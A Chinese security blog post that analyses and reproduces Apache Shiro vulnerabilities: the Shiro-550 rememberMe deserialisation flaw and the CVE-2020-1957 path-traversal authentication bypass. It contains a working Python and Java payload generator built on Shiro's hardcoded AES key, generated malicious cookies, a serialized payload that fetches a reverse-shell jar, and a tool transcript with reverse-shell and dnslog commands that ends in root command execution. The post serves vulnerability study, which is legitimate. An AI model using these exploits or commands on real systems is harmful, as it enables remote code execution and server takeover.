HacKerQWQ的博客空间

Shiro漏洞分析及利用

Word count: 2.8kReading time: 13 min
2022/08/23 Share

Shiro概述

Apache Shiro™是一个功能强大且易于使用的 Java 安全框架,它执行身份验证、授权、加密和会话管理。借助 Shiro 易于理解的 API,您可以快速轻松地保护任何应用程序——从最小的移动应用程序到最大的 Web 和企业应用程序。

官网:https://shiro.apache.org/

github地址:https://github.com/apache/shiro/

Shiro1.2.4反序列化漏洞(Shiro-550)

漏洞描述

在 Apache Shiro<=1.2.4 版本中 AES 加密时采用的 key 是硬编码在代码中的,这就为伪造 cookie 提供了机会。

只要 rememberMe 的 AES 加密密钥泄露,无论 shiro 是什么版本都会导致反序列化漏洞。重点是找到反序列化链子。

Shiro 的 “remember-me” 功能是设置 cookie 中的 rememberMe 值来实现。当后端接收到来自未经身份验证的用户的请求时,它将通过执行以下操作来寻找他们记住的身份:

  1. 检索 cookie 中 RememberMe 的值
  2. Base64 解码
  3. 使用 AES 解密
  4. 反序列化

环境搭建

本地源码搭建

本机环境:

  • Windows11
  • jdk1.8.291
  • Tomcat8.5.72
  • shiro1.2.4
  • IDEA2021.3

漏洞分析一般下源码本地搭建环境调试

1
2
3
git clone https://github.com/apache/shiro.git  
cd shiro
git checkout shiro-root-1.2.4

在samples/web/pom.xml中添加依赖支持jsp,以及CC链

1
2
3
4
5
6
7
8
9
10
11
12
13
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<!-- 这里需要将jstl设置为1.2 -->
<version>1.2</version>
<scope>runtime</scope>
</dependency>
<dependency>
<!-- 添加commons-collections4 -->
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>

添加将samples-web添加进Tomcat的deployment中

image-20220823143835077

image-20220823143843857

页面如下

image-20220823143916878

vulhub搭建

vulhub主要用于快速靶场搭建测试

1
2
3
svn checkout https://github.com/vulhub/vulhub/trunk/shiro/CVE-2016-4437
cd /CVE-2016-4437
docker-compose up -d

漏洞复现

payload生成流程

1
命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值

test.py(需要将ysoserial的jar包放在同目录下)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES

def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial-master-SNAPSHOT.jar', 'CommonsCollections2', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
#shiro默认AES的key是kPH+bIxk5D2deZiIxcaaaA==
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext

if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
# payload = encode_rememberme("touch /tmp/123456")
# with open("payload.cookie", "w") as fpw:
# print("rememberMe={}".format(payload.decode()), file=fpw)
print("rememberMe={}".format(payload.decode()))

这里使用CommonsCollections2生成链子(需要添加common-collections4依赖)生成命令

1
python .\gen_payload.py 'ping dk1ex0s1jmrl648im682z75b329sxh.burpcollaborator.net'

image-20220823145500819

得到payload如下

1
rememberMe=phBRo5CPRuGaP+9Q3A6QYmgxFft1KrU6b0iQC6dZ6JbkFLWDRWUL4ozgAZBy6JarrGnA3UVPyepTkbmc97oWiwhxajIYBfuSZyujBIU63VcvMqCJG20xVnIr2opsqpfnEsfRB/Ui7+o5cOAf21GYjfp3DXnQHnucdAeGX+LIsYs1CFCU7VOS1GpVdgQAbNUXn6QBm1yxHhehfTFaU7EMOolDicIrHgfz2rXEvT47jrG6z4PNPlXOe7ww4mCQEBtUlD29+gkBDrb89WciN1riwn7jZADeetzRy7cMhxLwgkrJ/0zYa7VHjEqKEtj9ChOoOPB+EUiGsYZheckBZB4mTbYPSukQs+9s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h0fpvH8DCzNZpBxTRgB0VI0yoArkIJvDLc3X6K0FL+fLN6bt5PHvwGWL+XqvUGaehIPf4351YGGyXBtSPfN3DRwoRaJtkMZwp0HcxhJg4fY4wvPGEthoeOlI06LsjnCT2Y4+iPic3l5oFRq28++fEA4TOlSj5faiNOTLx6I/gSBcoRNCz+uliKn0t4+I/sQA5UWjxchx4uCq7A/IL8sZZexiNqWdvtfTuXU8XiAW8kEkh99ZyfB1HxhYQweItm0KRI4ryQ+idPm4rHLFXCo9uErtlFhgKs0pHU8n4Qlxw53UUpxempjWVDQY0yx79Cik2yjEKeNCtMy2MsaJb23v61l2younlFDDeACietjujgu/loOtVlQ/eWubH6XXCIXY2AwfMFCudsBp2METNUckrPvX/DcNmuGZb4jNMx/r38GrQPeh3ky2IBFWR5/36boArJgN5gk80+TAMTWytXh3FwPq1nc1IIo0Hj/ge9/Pnddxl+73brL1RsLNXS+k05VZ2SI8IxF1lIFRyeLhTeGoh19JWQVGpSZmRlrBC6ll8mF6y4A20eqDVCFCEbHWePJwYHz3d2yF7i7mOA84q8oDCX7czgTFfpaIq/8hPL9wyIaEejRCruyKke50+s9aM2AC9GXJsA9JsdWgRvLN83vKb4WKORUcq2jUtzGKA+PfWxay+nms=

也可以直接使用java生成payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package shiro;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

public class generateBase64 {
public static void main(String[] args) {
Base64 B64 = new org.apache.shiro.codec.Base64();
byte[] key = B64.decode("4AvVhmFLUs0KTA3Kprsdag==");
//反序列化payload的base64编码
java.lang.String text = "rO0ABXNyAChjb20ubWNoYW5nZS52Mi5jM3AwLlBvb2xCYWNrZWREYXRhU291cmNlZoRH/BzETxgCAAB4cgA1Y29tLm1jaGFuZ2UudjIuYzNwMC5pbXBsLkFic3RyYWN0UG9vbEJhY2tlZERhdGFTb3VyY2UAAAAAAAAAAQMAAHhy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cHBwcHBweHQACldpblJldmVyc2V0ACpodHRwOi8vMTkyLjE2OC4xMzcuMjM4OjY2NjYvV2luUmV2ZXJzZS5qYXJ0AAdleHBsb2l0cHBwdwQAAAAAeHcCAAF4";
AesCipherService cipherService = new AesCipherService();
ByteSource byteSource = cipherService.encrypt(B64.decode(text), key);
byte[] value = byteSource.getBytes();
System.out.println("rememberMe="+new java.lang.String(B64.encode(value)));
}

}

作为cookie发包

image-20220823145546371

收到dnslog请求,复现成功

image-20220823145606455

漏洞分析

漏洞产生大致流程

Shiro 550 反序列化漏洞存在版本:shiro <1.2.4,产生原因是因为 shiro 接受了 Cookie 里面 rememberMe 的值,然后去进行 Base64 解密后,再使用 aes 密钥解密后的数据,进行反序列化。

反过来思考一下,如果我们构造该值为一个 cc 链序列化后的值进行该密钥 aes 加密后进行 base64 加密,那么这时候就会去进行反序列化我们的 payload 内容,这时候就可以达到一个命令执行的效果。

大体流程

1
获取rememberMe值 -> Base64解密 -> AES解密 -> 调用readobject反序列化操作

登录流程set-cookie分析

开始分析

1
获取凭证=>序列化=>AES加密=>Base64编码显示

首先全局搜索Base64.decode找到密钥kPH+bIxk5D2deZiIxcaaaA==

image-20220823150450638

发现该类继承自RememberMeManager类,找到onSuccessfulLogin方法,打断点

image-20220823150602365

使用账号密码root/secret登录,勾选Remember Me字段

image-20220823151254403

在断点处拦截到请求,其中forgetIdentity作用是在响应包的Set-Cookie中添加deleteMe字段

image-20220823204838390

  • token包含明文登录凭证,host以及rememberMe为true的键值对。
  • subject包含request、response、凭证等信息
  • info包含简单的凭证信息。

跟进rememberIdentity,其中对登录账号进行encrypt且序列化处理

image-20220823205409519

image-20220823205453240

在encrypt中稍微跟进一下看看流程

image-20220823205726509

通过getCipherService获取加密方式等信息

image-20220823205805395

而在该类的构造函数中就已经设定了DEFAULT_CIPHER_KEY_BYTES的值即

1
kPH+bIxk5D2deZiIxcaaaA==

最终在encryptionCipherKey中设置该key的bytes

通过getEncryptionKey返回该key,加密序列化字符串

image-20220823210801721

最终在org/apache/shiro/web/mgt/CookieRememberMeManager.java最后对加密序列化字符串进行base64编码后设置Cookie返回

image-20220823211335764

反序列化流程

org/apache/shiro/mgt/AbstractRememberMeManager.java中的getRememberPrincipals方法打断点。

有时候从注释就可以看到这个函数是干什么的,这里是将rememberMe的值重建为principals值的

image-20220823212650471

subjectContext中获取rememberMe的值之后跟进convertBytesToPrincipals函数

image-20220823212756272

之后就是对称的操作了,getCipherService获取解密模式以及DEFAULT_CIPHER_KEY_BYTES

image-20220823212841445

经过解密获取序列化字符串后,进入deserialize函数进行反序列化

image-20220823213016074

最终通过readObject函数将攻击者构造的payload进行反序列化

image-20220823213133969

触发CommonsCollections2链条构造的calc命令,成功弹出计算器

image-20220823213329717

Apache Shiro 认证绕过漏洞(CVE-2020-1957)

Apache Shiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。

Apache Shiro 1.5.2以前的版本中,在使用Spring动态控制器时,攻击者通过构造..;这样的跳转,可以绕过Shiro中对目录的权限限制。

参考链接:

环境搭建

执行如下命令启动一个搭载Spring 2.2.2与Shiro 1.5.1的应用:

1
2
3
svn checkout https://github.com/vulhub/vulhub/trunk/shiro/CVE-2020-1957
cd CVE-2020-1957/
docker-compose up -d

环境启动后,访问http://your-ip:8080即可查看首页。

这个应用中对URL权限的配置如下:

1
2
3
4
5
6
7
8
@Bean
public ShiroFilterChainDefinition shiroFilterChainDefinition() {
DefaultShiroFilterChainDefinition chainDefinition = new DefaultShiroFilterChainDefinition();
chainDefinition.addPathDefinition("/login.html", "authc"); // need to accept POSTs from the login form
chainDefinition.addPathDefinition("/logout", "logout");
chainDefinition.addPathDefinition("/admin/**", "authc");
return chainDefinition;
}

漏洞复现

直接请求管理页面/admin/,无法访问,将会被重定向到登录页面:

img

构造恶意请求/xxx/..;/admin/,即可绕过权限校验,访问到管理页面:

img

Shiro利用工具

shiro反序列化利用工具

项目地址:https://github.com/j1anFen/shiro_attack

image-20220823220635902

Shiro反序列化漏洞综合利用工具增强版

工具特点:

  • javafx
  • 处理没有第三方依赖的情况
  • 支持多版本CommonsBeanutils的gadget
  • 支持内存马
  • 采用直接回显执行命令
  • 添加了更多的CommonsBeanutils版本gadget
  • 支持修改rememberMe关键词
  • 支持直接爆破利用gadget和key
  • 支持代理
  • 添加修改shirokey功能(使用内存马的方式)可能导致业务异常
  • 支持内存马小马
  • 添加DFS算法回显(AllECHO)

项目地址:https://github.com/SummerSec/ShiroAttack2

image-20220823220407345

Shiro无CC链依赖利用工具

image-20220823220800863

shiro_tool

项目地址:https://github.com/wyzxxz/shiro_rce_tool

作用:手动测试key、验证漏洞、漏洞利用等

用法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101

优化一些功能:
1、spring/tomcat回显,执行命令的时候,x=whoami 就行
2、批量检测是否shiro
3、目标服务器不出网的情况下探测
4、key 目前 401 个。
5、默认会加载当前目录下的 keys.txt 文件,可以把key放到keys.txt里,和该jar放同一个目录,会自动加载。

> java -jar shiro_tool.jar
Usage: java -jar shiro_tool.jar https://xx.xx.xx.xx
nocheck --> skip check target is shiro or not.
skip --> all gadget default can be use
randomagent --> random useragent
notcheckall --> not check all gadget
useragent= --> set useragent
cookiename= --> default: rememberMe 不是rememberMe的时候用
x= --> print result
cmd= --> set command to run
dcmd= --> set command to run, command format base64 string
key= --> set a shiro key
req= --> request body file request body file 抓包保存到文件里,这里写文件名
keys= --> keys file 自定义key的文件,key按行分割,即每行写一个
java -cp shiro_tool.jar shiro.Check urls=批量url文件
java -cp shiro_tool.jar shiro.Check http://www.shiro.com


[admin@ shiro] java -jar shiro_tool.jar https://xx.xx.xx.xx/
[-] target: https://xx.xx.xx.xx/
[-] target is use shiro
[-] start guess shiro key.
[-] shiro key: kPH+bIxk5D2deZiIxcaaaA==
[-] check URLDNS
[*] find: URLDNS can be use
[-] check CommonsBeanutils1
[*] find: CommonsBeanutils1 can be use
[-] check CommonsBeanutils2
[-] check CommonsCollections1
[-] check CommonsCollections2
[-] check CommonsCollections3
[-] check CommonsCollections4
[-] check CommonsCollections5
[-] check CommonsCollections6
[-] check CommonsCollections7
[-] check CommonsCollections8
[-] check CommonsCollections9
[-] check CommonsCollections10
[-] check CommonsCollectionsK1
[-] check CommonsCollectionsK2
[-] check CommonsCollectionsK3
[-] check CommonsCollectionsK4
[-] check Groovy1
[*] find: Groovy1 can be use
[-] check JSON1
[*] find: JSON1 can be use
[-] check Spring1
[*] find: Spring1 can be use
[-] check Spring2
[-] check JRMPClient
[*] find: JRMPClient can be use
[*] JRMPClient please use: java -cp shiro_tool.jar ysoserial.exploit.JRMPListener
0: URLDNS
1: CommonsBeanutils1
2: Groovy1
3: JSON1
4: Spring1
5: JRMPClient
[-] please enter the number(0-6)
3
[-] use gadget: JSON1
[*] command example: bash -i >& /dev/tcp/xx.xx.xx.xx/80 0>&1
[*] command example: curl dnslog.xx.com
[*] if need base64 command, input should startwith bash=/powershell=/python=/perl=
[-] please enter command, input q or quit to quit
> curl json.dnslog.xx.cn
[-] start process command: curl json.dnslog.xx.cn
[-] please enter command, input q or quit to quit
> bash=bash -i >& /dev/tcp/xx.xx.xx.xx/80 0>&1
[-] start process command: bash -c {echo,YmFzaD1iYXNoIC1pID4mIC9kZXYvdGNwL3h4Lnh4Lnh4Lnh4LzgwIDA+JjE=}|{base64,-d}|{bash,-i}
[-] please enter command, input q or quit to quit
> output=on
[-] print payload mode on.
[-] please enter command, enter q or quit to quit, enter back to re-choose gadget
> whoami
kPH+bIxk5D2deZiIxcaaaA== - CommonsBeanutils1 - zEC2T+ZP+ib2g+NLMrrU0LRsNu3lr7kjq
82987eI8FZxA8ckaX8LsMNHdParxVS9aYg0Oxl91WD5GztG6Dmg/QO/sjxi+kX/sFpHgqwtG4MCQoogH
Jkhnj73PI6Wn8AJWQyXoOGNMkyboGcEm0Ti1h+WMGQEqw57tRl7Pjr0pMr2oZcUj9huwC/Lfr090FX7v
rPrU5JnQm2Qo7ZrMPnxENXs0yMT6HfU75OejeF6kXbWTaGlvfByscF1ljoDR/k2txdQ1eK4nZ4ReOAqM
uUeeaXwirEw2kg58GktvB2Ghw4egXJBQUdP3H8iE+zrkf12YlPs/RAOq8w0mWfvwB7EnCW3Z83YP8vV1
+reLT9oNyUpCfjKyQVodnpZJY7If4F9al8He7E832RR3mhFvsjJDyNFTbB4TPrRqFDehSVuHib5qkh0s
0YjvCGErxDLH9pFS4G9rNYQeAnXBKeNzS5q2O0xCe5xg4X6l8R6XsU2/V1d6wd27U7u18+DJlo/v58vj
SyUtUaEAAuMN9C30Rr+r7Tk9MVC55eS8l82fURpUwttcRADhJ0esKHAFFAkwnisbAb4Uugz3IADojYlH
BNFtWFuV2dsuqkionEROKLIdVHJGR8URmk79v8lbLbpCWI3cTCf81SwwBoYylKXCyHX2X08VlEUvuHWk
ypx9gVvDuQQQFTGP4ljwpU1NlQPqxaLXmnZ5TyJN2sycL9s8VWMYls4uFATtMkpXXcwaQGFVjCzFrABv
[-] please enter command, enter q or quit to quit, enter back to re-choose gadget
> x=whoami
root

[-] please enter command, enter q or quit to quit, enter back to re-choose gadget
> quit
[-] start process command: quit
[-] quit

使用URLDNS测试漏洞

image-20220823221507048

参考链接

http://wh0is.xyz/articles/a27657b2/

CATALOG
  1. 1. Shiro概述
  2. 2. Shiro1.2.4反序列化漏洞(Shiro-550)
    1. 2.1. 漏洞描述
    2. 2.2. 环境搭建
      1. 2.2.1. 本地源码搭建
      2. 2.2.2. vulhub搭建
    3. 2.3. 漏洞复现
    4. 2.4. 漏洞分析
      1. 2.4.1. 漏洞产生大致流程
      2. 2.4.2. 登录流程set-cookie分析
      3. 2.4.3. 反序列化流程
  3. 3. Apache Shiro 认证绕过漏洞(CVE-2020-1957)
    1. 3.1. 环境搭建
    2. 3.2. 漏洞复现
  4. 4. Shiro利用工具
    1. 4.1. shiro反序列化利用工具
    2. 4.2. Shiro反序列化漏洞综合利用工具增强版
    3. 4.3. Shiro无CC链依赖利用工具
    4. 4.4. shiro_tool
  5. 5. 参考链接